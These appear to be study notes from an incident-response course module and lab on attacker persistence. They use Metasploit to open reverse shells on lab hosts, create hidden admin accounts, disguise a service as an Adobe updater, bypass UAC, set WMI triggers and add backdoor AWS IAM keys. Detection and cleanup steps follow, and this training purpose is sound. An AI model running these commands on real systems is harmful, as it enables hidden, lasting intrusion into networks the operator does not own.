Establishing Persistence

After an attack, many attackers aim to stay on a compromised system for as long as possible. Some exploits don't allow them to maintain access, especially if the system is rebooted or secured. To prevent losing access, attackers use various methods to stay persistent on the system.

An attacker can use various ways to stay on a system, some needing admin access and some not. They aim to regain access, avoid detection, keep control, and have flexible ways to reconnect.

Many attackers use built-in methods for persistence within their attack tools, like Metasploit Meterpreter or others. In our investigation, we'll explore these techniques, using resources from Metasploit and also looking at other manual methods for establishing persistence.

In this module, we’ll explore ways to maintain access to a system on Windows, Linux, Active Directory, web servers, and cloud platforms. We’ve already covered some persistence methods like Auto-Start Extensibility Points (ASEPs), registry run keys, Netcat listeners, reverse TCP shells, and scheduled tasks. We can’t cover every method, but we’ll focus on key techniques that defenders should know to understand how attackers maintain access after exploiting a system.

Create Account

meterpreter > execute -f "net user /add assetmgtacct Att@ckerPassw"
Process 6892 created.
meterpreter > execute -f "net localgroup administrators /add assetmgtacct"
Process 7192 created.
meterpreter > execute -i -f "net user"
Process 3436 created.
Channel 3 created.
User accounts for \\WS-F43G01
----------------------------------------------------------------------
Administrator assetmgtacct
DefaultAccount WDAGUtilityAccount
Guest Sec504
The command completed with one or more errors.

An attacker can maintain access to a hacked system by creating a new user account, possibly with admin rights. Using the net user command, they can list existing users and also create a new one. If they have admin privileges, they can name the account something harmless, like "assetmgtacct," and give it admin access using the net localgroup command.

An attacker uses the Meterpreter shell to run commands on a Windows target. They can create a new user account with a password that fits Windows rules (8 to 14 characters) to bypass prompts. Then, they add this hidden account to the local administrators group using the net localgroup command.

The final command here checks if the user account was created successfully. The command includes the -i argument to run it interactively, showing the output.

Services

meterpreter > background
[*] Backgrounding session 1...
msf6 > use exploit/windows/local/persistence_service
msf6 exploit(windows/local/persistence_service) > set session 1
msf6 exploit(windows/local/persistence_service) > set lport 4445
msf6 exploit(windows/local/persistence_service) > set lhost 10.10.75.1
msf6 exploit(windows/local/persistence_service) > exploit
[*] Started reverse TCP handler on 10.10.75.1:4445
[*] Running module against SEC504STUDENT
[+] Meterpreter service exe written to C:\WINDOWS\TEMP\LAGYmO.exe
[*] Creating service EPjXQ
[*] Meterpreter session 2 opened (10.10.75.1:4445 -> 10.10.0.1:1546) at 2021-06-15 16:41:10

Besides OS commands for persistence, Metasploit and similar tools provide scripts for easier automation, like the persistent service exploit.

An attacker can create a way to stay on a Windows machine by using a Windows service. These services run in the background and can start automatically when the computer boots up or after a delay. The Metasploit persistence_service module helps set up this service and runs a payload stored in a temporary folder.

In this example, we run the Meterpreter session in the background to use the persistence_service exploit. We set the session number and specify the lport and lhost to show where the Meterpreter will connect (to the attacker's system).

WMI Event Subscription

C:\Temp> mofcomp wmi.mof
Parsing MOF file: wmi.mof
Done!

Windows Management Instrumentation (WMI) is a Windows feature that lets users interact with system drivers and components to gather data. It also enables users to get alerts about various Windows events, similar to scheduled tasks but more flexible. With WMI, you can set programs to run based on many system activities, like startup, failed logins, CPU spikes, or low disk space.

This framework lets attackers set up a code execution process that keeps running, similar to a scheduled task. With WMI event subscription, they can trigger this process with many different events, giving them great flexibility to maintain a connection to their system.

To maintain persistence using WMI event subscription, an attacker can create a Managed Object Format (MOF) file with a .mof extension. This file defines the subscription service and the event that will run their malicious code. MOF is similar to C++ and is executed with the Windows tool mofcomp.exe.

Another way to maintain WMI event subscription persistence is by using built-in exploits in Metasploit or similar tools. We’ll look at Metasploit's wmi_persistence options that let an attacker set up persistence based on any Windows Event ID, timed delays, system uptime, other processes, or network events.

Meterpreter Example

meterpreter > background
[*] Backgrounding session 2...
msf6 > use exploit/windows/local/wmi_persistence
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/wmi_persistence) > set session 2
msf6 exploit(windows/local/wmi_persistence) > set lhost eth0
msf6 exploit(windows/local/wmi_persistence) > set username_trigger josh
msf6 exploit(windows/local/wmi_persistence) > set callback_interval 1000
msf6 exploit(windows/local/wmi_persistence) > exploit
[*] Installing Persistence...
[+] Persistence installed! Call a shell using "smbclient \\\\10.10.0.1\\C$ -U
josh <arbitrary password>"
...

In our Meterpreter session, we background it and load the wmi_persistence exploit. Here, we set a trigger for when the user "josh" fails to log in. The callback_interval is set in milliseconds to delay the exploit, making it harder for EDR tools to catch it since they usually monitor events for only a short time (about 5-10 minutes). This way, the attacker can run the exploit later, after the login failure.

The attacker activates the payload by failing to log in, which creates Windows event ID 4625. This can happen with the Linux smbclient tool or any SMB or RDP connection from Linux, macOS, or another Windows PC.

The attacker must set up a Metasploit handler to get a callback from Meterpreter. Here, the default payload is windows/meterpreter/reverse_tcp, and the handler needs to be ready to accept the callback for the connection to work.

Active Directory Persistence: Golden Ticket

We've explored how attackers can set up lasting access on a Windows system. This access isn't just limited to one computer or a few; it can impact the whole network.

Windows systems use Kerberos for authentication, helping untrusted devices confirm user and service identities. When a Windows domain is created, a Kerberos account called krbtgt is also created. Its password is set automatically and acts as a trusted source, allowing other services to grant access to users within the domain.

In a Kerberos network, there's an attack called the Golden Ticket Attack. It involves four steps that let an attacker gain unauthorized access:

  1. Compromise a Domain Controller: The attacker gets control over a domain controller, often through an exploit or a hacked backup.

  2. Retrieve the krbtgt Password Hash: They obtain the password hash for the krbtgt user.

  3. Forge TGTs: Using tools like Mimikatz or Impacket, they create fake Ticket Granting Tickets (TGTs) with the hash.

  4. Bypass Authentication: With these forged TGTs, the attacker can access any service on the network without going through normal authentication.

Golden ticket attacks pose a big risk for Windows networks, allowing attackers almost unrestricted access. By getting the krbtgt password hash, they can create fake tickets to access any service as any user, bypassing standard security checks.

Web Shells

Attackers can use persistence methods to target services like web servers. When a web service is compromised, attackers often insert a web shell into the site to maintain access.

After taking over a web server, an attacker can add or change files to include code that lets them access the system remotely. Sometimes, this code is disguised to escape notice.

An attacker adds a file called imgupload.html to a site. When someone visits the page, the attacker can run commands. This code is shared by the author at https://urls.sec504.org/zuncw.

Cloud Persistence

aws iam list-users                              # Enumerate users
aws iam list-access-keys --user-name jsmith     # List user key/count
aws iam create-access-key --user-name jsmith    # Create new keys

Cloud systems can also be targeted by attackers to maintain access after a breach. Many of the same ideas we've discussed apply to cloud VMs, like shell listeners and unauthorized users. Additionally, attackers can exploit Identity and Access Management (IAM) features.

An attacker can gain lasting access to a cloud VM, but getting into IAM lets them control the entire cloud system. If they take over the cloud account, they can create new users and add a backdoor key to keep access, even if the password changes. This is like using an SSH key, allowing them to bypass password checks.

An attacker can list IAM user accounts in AWS using the command aws iam list-users. They look for users with one or no access keys because adding a third key will alert the account owner. After finding a suitable user, the attacker can create a new access key with aws iam create-access-key and save it to regain access.

Persistence Defense

PS C:\WINDOWS\system32> Get-CIMInstance -Namespace root\Subscription -Class __EventFilter | fl -property query
query : SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE
TargetInstance
ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '4625' And
Targetinstance.Message Like '%josh%'

Persistence defense techniques focus on finding and recognizing threats. Since persistence happens after an attack, fixing the issue is important but comes after we identify the source.

We can use the Sysinternals Autoruns tool on Windows to find many of the attacks we talked about, like Auto-Start Extensibility Points, scheduled tasks, services, and WMI event subscriptions. We’ll practice this in the lab. However, some methods, like adding new user accounts or web shells, can avoid detection by Autoruns. To find these, we need to use auditing techniques to spot unauthorized changes in web applications or compare user accounts with known authorized lists.

We can monitor Windows for certain event IDs that show unauthorized access attempts, like 4624 (successful login), 4634 (logout), 4672 (new logon privileges), 4732 (member added to a group), 4648 (logon with credentials), 4688 (new process created), 4697 (service installed), and 4768 (Kerberos ticket requested). For more on detecting fake Kerberos tickets, check out Sean Metcalf's article at https://adsecurity.org/?p=1515.

If you think an attacker used a golden ticket attack, change the krbtgt password two times. Changing it once isn't enough because the account remembers only the last password, so the attacker could still access it.

Persistence – Takeaway

In this module, we learned how attackers hide after taking over a system. They use various tricks to stay in, avoid being caught, keep their access, and adjust to changes. Remember, attackers often use multiple methods, so as an incident responder, don't think you've found all their ways.

Attackers can use different triggers, like time or network activity, to hide on Windows. While analyzing the network can reveal their methods, simply checking a system after a reboot may not help, since attackers try to stay undetected.

To find how an attacker hides, you need to carefully analyze using tools from Windows (like netstat and reg), Linux, and cloud systems. As an incident responder, your main skill is understanding attackers' methods and using practiced tools to verify what you discover.

Lab 5.4: Establishing Persistence with Metasploit

In this lab, we'll use Slingshot Linux to attack a Windows 10 system with Metasploit, gaining persistent access. Then, we'll explore how an incident responder can detect this.

In this lab, we'll set up two persistence methods using Metasploit Meterpreter. We'll establish a Meterpreter session with the PsExec exploit, which we used in the Metasploit Attack and Analysis lab (https://faresbltagy.gitbook.io/footprintinglabs/sans-sec504/book-four/metasploit-framework)

Let's start by openning msfconsole with msfconsole -q and set the required options.

msfconsole -q
use exploit/windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST 10.10.0.1
set SMBUSER sec504
set SMBPASS sec504
set LHOST 10.10.75.1

To create persistence, we'll add a new local admin user called "assetmgt." In Meterpreter, we'll use the execute function and run whoami to check our shell privileges.

execute -if whoami

The Meterpreter session has system-level access, which is needed for the PsExec exploit to work. This means we have enough privileges to create a new user.

Next, let's use Meterpreter to run the Windows net user command to add a new user account.

execute -if "net user /add assetmgt Password1"

Next, let's use the net localgroup command to add the user to the local Administrator group.

execute -if "net localgroup administrators /add assetmgt"

Let's check that the assetmgt account has been added as shown.

execute -if "net user"
execute -if "net localgroup administrators"

For the next persistence method, we'll use the Metasploit module to install a persistent service on Windows. It creates and uploads an executable to the remote host via a Meterpreter session, then sets it to run as a Windows service with SYSTEM privileges.

search type:exploit persist service

Next, let's run the info command to get information about the exploit:

show info 

The info command shows basic exploit options. The only required option is the Meterpreter session number. To find available sessions, use the sessions command.

sessions

The session number is 1. We'll use that.

set session 1

The other basic options aren’t required. If we don’t set them, Metasploit will pick random strings. Let’s fill in these options with fake values to make the service seem less suspicious.

set remote_exe_name AutoUpdate.exe
set service_name AdobeUpdate
set service_description "Adobe Update Client"

Next, we'll ll set the LHOST parameter to send the standard Meterpreter reverse TCP payload to our system and deliver the exploit with the exploit command.

set lhost 10.10.75.1
exploit

Great job! When we deliver the exploit, we get another Meterpreter shell. This shell doesn’t give us more access than the last one, but it helps us reconnect automatically for ongoing access to the victim's system.

Next, let's reboot the Windows system and log in as the sec504 user when it restarts. After a few moments, we'll see a message from Metasploit saying that previous sessions have ended.

After we see the "Reason: Died" message, press Enter to go back to the Metasploit prompt. Then, type back to unload the persistence_service exploit.

To set up a reverse TCP Meterpreter session, the attacker needs to be ready and waiting for the victim's connection. In Metasploit, we'll use the handler exploit with the reverse TCP payload.

use exploit/multi/handler

Next, we'll set the payload and lhost parameters to match the settings used for the service persistence exploit.

set payload windows/meterpreter/reverse_tcp
set lhost 10.10.75.1

In a few seconds, a new Meterpreter session will open when the remote service notices the attacker listening on TCP port 4444.

Next, we’ll explore how to find these persistence methods as a defender. First, let’s check the local user account added to the system. On our Windows VM, let's open PowerShell as an Administrator.

Get-LocalUser

Here we can spot the unauthorized account assetmgt.

To check the event log quickly, we'll create a PowerShell hash table for the attributes we need. This helps us search faster than using a regular "where" filter. We'll use the PowerShell command Get-WinEvent to show only the Event ID 4720 messages.

Get-WinEvent -FilterHashtable @{ Logname='Security'; ID=4720 } | Select-Object -First 1 | Format-List -property timecreated,message

PowerShell lets us check event logs for new user accounts using their event ID. Some fields show "value not set" because the user hasn’t logged in yet, but we can see the account name is assetmgt and when it was created.

This analysis method has a flaw: the Security event log automatically deletes old entries when it exceeds 20 MB. If many new entries have been added since a new user was created, the event for that user might be gone.

Now, let’s check persistence analysis using the Autoruns tool, which is part of the Microsoft SysInternals tools.

To get the best results from SysInternals,

we'll run it as an administrator. Open Windows Explorer and go to C:\Tools\Sysinternals. Right-click Autoruns64.exe and choose "Run as administrator."

Here are some key points about the Autoruns display:

  • Autoruns hides Windows built-in programs by default. To see them, go to Options and uncheck "Hide Microsoft Entries."

  • White lines show the program is signed and has a publisher.

  • Red lines mean the program is unsigned.

  • Yellow lines indicate the program exists, but its executable is missing or unknown.

Let's go to the Services tab to see ASEP entries for services. Two entries in red show executables without publishers. The nginx service is for the lab, but the AdobeUpdate service looks suspicious.

The AdobeUpdate service is even more suspicious when we see that it is running from the C:\WINDOWS\TEMP directory.

Cleanup

To delete the local user, we'll run the Remove-LocalUser command for the assetmgt user like this:

Remove-LocalUser assetmgt

Also, let's stop and remove the AdobeUpdate service:

Get-Service AdobeUpdate | Stop-Service
sc.exe delete AdobeUpdate

Bonus

Persistence - WMI Event Subscription

To use the WMI event subscription persistence, we need a process that bypasses UAC. So, we'll move to the explorer.exe process started when the user logged in.

migrate -N explorer.exe

To use WMI event subscription for persistence, the attacker must bypass the UAC prompt. On Windows 10, this can be done using the bypassuac_injection exploit. Let's start by putting the Meterpreter session in the background.

background

Next, we'll load the bypassuac_injection exploit and set the target details as shown.

use exploit/windows/local/bypassuac_injection

We bypassed UAC and got a 2nd Meterpreter session with the right privileges for WMI event subscription persistence. Now, let's background this session.

We'll load the wmi_persistence exploit. Set the session to 2 (the UAC bypass session), lhost to the attacker's system (Slingshot Linux), and username_trigger to mssqladmin.

use exploit/windows/local/wmi_persistence
set session 2
set lhost 10.10.75.1
set username_trigger mssqladmin

Let's reboot the Windows system and log in. After a few seconds, Metasploit will show that the previous sessions have ended.

For a reverse TCP Meterpreter session, the attacker needs to be ready and listening for the victim's connection. In Metasploit, we'll use the handler exploit with the reverse TCP payload.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.75.1

Now, we're waiting for the persistence methods to run. With the listener ready, we can trigger the WMI event subscription, which activates when someone tries to log in as "mssqladmin" with the wrong password.

smbclient //10.10.0.1/C$ -U mssqladmin%badpass

After a few seconds, a Meterpreter session will start using the WMI event subscription persistence method.

To clean up and remove the WMI persistence mechanism, let's copy and paste the following command into an administrative PowerShell session.

Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer | Remove-WmiObject

Last updated